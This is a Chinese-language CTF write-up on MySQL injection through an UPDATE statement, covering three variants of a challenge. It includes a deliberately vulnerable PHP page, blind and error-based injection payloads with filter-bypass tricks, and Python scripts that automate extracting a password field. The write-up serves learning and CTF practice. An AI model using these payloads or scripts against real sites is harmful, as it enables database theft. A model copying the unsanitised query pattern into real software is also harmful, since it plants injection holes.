mysql之利用update进行注入

前言

最近比赛挺多的,但是太菜了每次都没能做出题目,只能在赛后看看wp,然后学习一下师傅们的新姿势,今天主要讲的是N1CTF的两道题目还有BCTF的一个题目,这三个题目算是同一个题目的三个版本吧,每个版本都过滤了很多东西,使得注入的过程变得艰难(还是自己太菜23333

环境搭建

1、在vps搭建复现环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

$p = $_POST['flag'];
$points = $_POST['hi'];
// echo "提交的flag为:";
// echo $p;
// echo '<br />';
// echo "提交的hi为:";
// echo $points;
// echo '<br />';

$dbhost = 'localhost'; // mysql服务器主机地址
$dbuser = 'root'; // mysql用户名
$dbpass = '*********'; // mysql用户名密码
$conn1 = mysqli_connect($dbhost, $dbuser, $dbpass);
if(! $conn1 )
{
die('连接失败: ' . mysqli_error($conn1));
}
// 设置编码,防止中文乱码
mysqli_query($conn1 , "set names utf8");
$sql1 = sprintf("UPDATE users SET points=%d%s",$p,$points);
// echo "当前执行的sql语句为:";
// echo $sql1;
echo '<br />';
mysqli_select_db( $conn1, 'sqli' );
$retval1 = mysqli_query( $conn1, $sql1 );

if(! $retval1 )
{
die('无法更新数据: ' . mysqli_error($conn1));
}
// echo '数据更新成功!';
// echo '<br />';
mysqli_close($conn1);


$conn2 = mysqli_connect($dbhost, $dbuser, $dbpass);
$sql2 = 'select points from users where username = "admin"';
// echo $sql2;
// echo '<br />';
mysqli_select_db( $conn2, 'sqli' );
$retval2 = mysqli_query( $conn2, $sql2 );
while($row = mysqli_fetch_array($retval2, MYSQLI_ASSOC))
{
echo "数据库中points值为:";
echo "{$row['points']}";
echo '<br />';
}
mysqli_close($conn2);
?>

2、插入测试数据
beida
3、我们可以看到sql语句为:

1
$sql1 = sprintf("UPDATE users SET points=%d%s",$p,$points);

通过update更新points字段的值,然后回显在页面上,这里提交的两个参数$p$points拼接成%d%s,因为%d会将传入的参数值转换成int型,如果从这个参数进行注入的话没办法构造完整的sql语句,这里把重点放在$points这个参数,通过构造完整的sql语句来实现对password字段的flag进行获取。

题目

7777777 v1

这里参考了一叶飘零师傅的一篇文章
http://skysec.top/2018/03/12/N1CTF-2018-Web/
通过使用mysql的模糊查询来匹配符合条件的字符,然后拼接再次匹配,直到匹配完成

1
update users set points=1111 where password like 0x25;

beida
这里的0x25表示的是%,在模糊查询中表示匹配所有,在这里是将数据库中users表的points字段全部改成1111

1
update users set points=2222 where password like 0x6625;

beida
这里的0x6625表示的是f%,即匹配以f开头的password的值,然后修改其对应的points为2222,以此类推,我们可以爆破出所有password字段的值,从而获取flag。
这里附上自己修改过的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import string
import urllib

def get_content(payload1):
data = {
'flag':5201314,
'hi': payload1
}
res = requests.post(url=url,data=data)
return res.text

def comeback(payload2):
data = {
'flag':1313,
'hi': payload2
}
res = requests.post(url=url,data=data)
return 'comeback'

url = 'http://your_vps_ip_add/index.php'
Tflag = ''
#hex
Rflag = ''
payload1 = ''
payload2 = " where password like 0x25"
comeback(payload2)
for i in range(1,50):
yes = 0
for j in "0123456789"+string.letters+"!@#$^&*(){}=+`~_":
payload1 = r" where password like 0x{}25".format(Tflag+hex(ord(j))[2:])
#print payload1
if "5201314" in get_content(payload1):
Tflag += hex(ord(j))[2:]
Rflag += str(j)
print Rflag
comeback(payload2)
yes = 1
break
if yes == 0:
print "flag is find,congratulation!!!!"
break

print Rflag

后来又搜了一下别的师傅的wp,发现还有好多新姿势,下面介绍一下这些另一种角度的解法吧
1、参考了https://blog.csdn.net/littlelittlebai/article/details/79535569
通过构造payload

1
flag=0&hi=|conv(hex(substr((select password),1,1)),16,10)

beida
beida
将查询到的password值做切割,每次取其中的一位,然后与我们所提交的points的值做|运算,结果能够得到这一位值的ascii值,从而得到flag。

2、参考了http://seaii-blog.com/index.php/2018/03/12/78.html
通过构造payload

1
2
3
4
5
通过&&运算构造条件,根据得到的points值进行盲注,从而得到结果
flag=0&hi=1 && password<"A"

通过查询结果的切片转换返回页面回显
flag=0&hi=%2b(select hex(mid((select a.password from (select password from users) a),1,1)))

至于这里为什么需要嵌套一个查询可以参考
https://blog.csdn.net/priestmoon/article/details/8016121

1
mysql中You can't specify target table <tbl> for update in FROM clause错误的意思是说,不能先select出同一表中的某些值,再update这个表(在同一语句中)。也就是说将select出的结果再通过中间表select一遍,这样就规避了错误。注意,这个问题只出现于mysql,mssql和oracle不会出现此问题。

暂时就知道了这些姿势,如果以后遇到了新姿势在更新23333由此也可以看出注入的思路在每个人看来都是不太一样的,是一种很灵活的题目,不一定要走别人的路,因为到达目的地的路不止一条。

7777777 v2

看了师傅们的博客后知道这题把like等一些关键字都过滤了,还过滤了部分数字,但是有一些符号还保留着,所以就有一下几种思路:
1、payload

1
flag=110&hi= +(password > 'fp')

beida
beida
我们可以看到当password>'fl'成立时,points的值加1并更新成功,而当password>'fm'不成立时,points的值更新为3333,我们可以利用这种方法得到符合的值

2、payload

1
2
依然可以用7777777 v1的
flag=0&hi=|conv(hex(substr((select password),1,1)),16,10)

不过过滤了数字2、3、4、5、9,我们怎么才能绕过?
(1)、使用length函数 length(‘11’)=2 …..
(2)、使用运算 1+1=2 7-1-1-1-1-1=2 …..
(3)、可以用二进制来绕过 00000010

7777777 v3

这是BCTF上的题目,也正是看到这题之后去找了相关资料,大概了解解题思路后,便开始了尝试,结果发现和自己想象的完全不一样,测试过滤的过程总是能困扰我很久,以至于最后放弃解题,看了师傅们的wp后,深感自己能力还是差了很多,也借此鼓励一下自己,不放弃,平凡但不甘于平庸的自己。
这里参考了http://blog.kingkk.com/2018/04/bctf2018-love-q/这篇文章
1、分析题目过滤了很多东西

  • 数字只有2和9能用
  • 比较符号除了>其余包括等号和小于号都被过滤了
  • 页面没有回显
  • 时间盲注的sleep函数和benchmark函数都被禁用了
    beida
    2、分析源码
    beida
    当sql语句执行出错时,会输出sorry,那么我们使用语法正确但是无法执行的语句会怎么样呢?
    这里可以构造
    1
    2
    slect pow(2,22222222222);
    ERROR 1690 (22003): DOUBLE value is out of range in 'pow(2,222222222)'

利用次方运算导致数据超出double长度时就会报错,但是不执行该语句时语法上是没问题的,这里短路运算符用不了,但是留了一个if,所以可以构造

1
2
3
select if(1,1,pow(2,222222222));//条件为真

select if(0,1,pow(2,222222222));//条件为假

beida
payload:

1
2
3
flag=2

hi=>>if((substr(pw,(9-2-2-2-2),(9-2-2-2-2))>'a'),2,pow(22,222222222222)

  • 只能用>进行比较运算, 于是前面的连接符就用>>位运算来做,后面判断勉强用 > 也能找到对应字符
  • 数字只有2和9,运算符只有 * 和 – ,于是用(9-2-2-2-2)可以构造1,有了1和2,其他的数字应该也可以自行构造了
    判断依据:
    语句为真时无回显(2>>2=0),语句为false(语法正确无法执行)时,输出sorry,就可以用来当作盲注的判断点
    这里就直接贴师傅的脚本了(自动化构造数字较难)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    #encoding=utf8
    import requests, string
    str_range = string.ascii_letters
    url = "http://3a7b823fc7994d62a92c3589fd05273b1254bc38b97743f2.game.ichunqiu.com"

    for i in str_range:
    data = dict(flag=2,hi=">>if((substr(pw,2*2*2*2*2-9-2,(9-2-2-2-2))>'{}'),2,pow(22,222222222222))".format(i))
    r = requests.post(url, data=data)
    if 'sorry' in r.text:
    print('sorry',i)
    elif 'hacker' in r.text:
    print("hacker")
    else:
    print("yes",i)

beida

后记

在自己心里一直有一些疑问,实际情况中users表的值可能存在多个,如果直接按照字母来排序这种方法来解题可能会得到错误的结果,有时候大小写也会混淆了解题的一些想法,所以可能有时候有一些方法还是有局限性的,只能自己在这条路上慢慢摸索了,如果看到此文的师傅们有更好的答案,非常欢迎也希望能帮忙解答一下这些疑惑QAQ。

------ 本文结束感谢您的阅读 ------
坚持记录生活,您的支持将鼓励我继续创作!